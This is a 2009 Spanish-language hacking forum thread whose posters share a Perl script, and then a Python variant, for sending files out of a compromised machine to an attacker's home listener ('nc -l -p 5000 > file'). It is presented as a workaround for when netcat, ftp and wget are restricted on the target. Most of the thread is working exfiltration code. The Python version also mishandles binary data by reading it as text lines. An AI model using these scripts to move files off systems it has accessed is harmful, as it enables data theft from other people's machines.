elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 19:42  


Tema destacado: [Overclocking] Récords de overclock del foro

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Linux/Unix (Moderadores: kamsky, TRICKY, berz3k)
| | | |-+  A falta de netcat, bueno es perl
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: A falta de netcat, bueno es perl  (Leído 2,480 veces)
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
A falta de netcat, bueno es perl
« en: 26 Julio 2009, 21:11 »

Que tal.

Bueno, si alguna vez os veis con netcat capado, ftp, tftp, wget.. y habeis conseguido shell en el objetivo pero aun podeis usar un lenguaje como Perl, pues aqui un simple programa para mandarnos a nuestro Linux un archivo binario desde la shell objetivo.

Es una bobada pero bueno, todo el mundo se aburre de vez en cuando no :__).
Código:
#!/usr/bin/perl -w



## by averno -- shameless !

### para usar, en la maquina a mandar el archivo poner netcat:

# nc -l -p 5000 > file

#

### y solo ejecutar debidamente esto desde el cliente :)

##





use IO::Socket;



sub usage {

print STDERR <<"EOF";



Usage: $0 <host> <port> <file>

EOF
# el EOF final NO puede llevar un whitespace despues!


exit 1;

}



usage unless(defined($ARGV[2]));


my $addr = shift;

my $port = shift;

my $file = shift;



    my $sock = new IO::Socket::INET(

                                 "PeerAddr" => "$addr",

                                 "PeerPort" => "$port",

                                 "Proto" => "tcp"

    ) || die "cannot create socket: $!\n";





sub copy {

    my ($src, $sock) = @_;

    open FILE, "<$src" or die "cannot open $src";

    binmode FILE;

    my ($buffer, $numchars); my $buffersize = 1024;

    my $size = 0;



    while ($numchars = read(FILE, $buffer, $buffersize)) {

         $size += $numchars;

         print $sock $buffer;

    }

    close FILE;

    close $sock;

    return $size;

}



my $bytesent = copy($file, $sock);



print "[+] we have sent ", $bytesent, " bytes!\n\n";



exit;

#EOF

Bueno, pues en casa para que programar sockets si tenemos netcat :__).

Desde casa ( puerto mapeado y firewall configurado... )
$ nc -l -p 5000 > file

y desde la shell: ( necesitaremos permisos de read sobre el fichero )
$ ./sockend IP_de_casa 5000 file_a_mandar


Ya esta, eso era todo.

Saludos.


P.D: Y os preguntareis.. y para que queremos mandarnos un binario???!
        Pos yo que se.. echale imagination :_)


« Última modificación: 26 Julio 2009, 21:25 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
braulio--
Wiki

Desconectado Desconectado

Mensajes: 889


Imagen recursiva


Ver Perfil WWW
O python
« Respuesta #1 en: 26 Julio 2009, 21:32 »

Y la versión en python.
Código
#Version del programa de averno por braulio23
import socket,sys
 
if len(sys.argv)!=4:
  print "Uso : "
  print "programa.py <host> <port> <file>"
  exit()
socket1 = socket.socket()
socket1.connect((sys.argv[1],int(sys.argv[2])))
archivo = open(sys.argv[3],"r")
for linea in archivo.readlines():
 socket1.send(linea+"\r\n")
print "Ya esta"
 
 


« Última modificación: 29 Julio 2009, 12:17 por 640509-040147 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines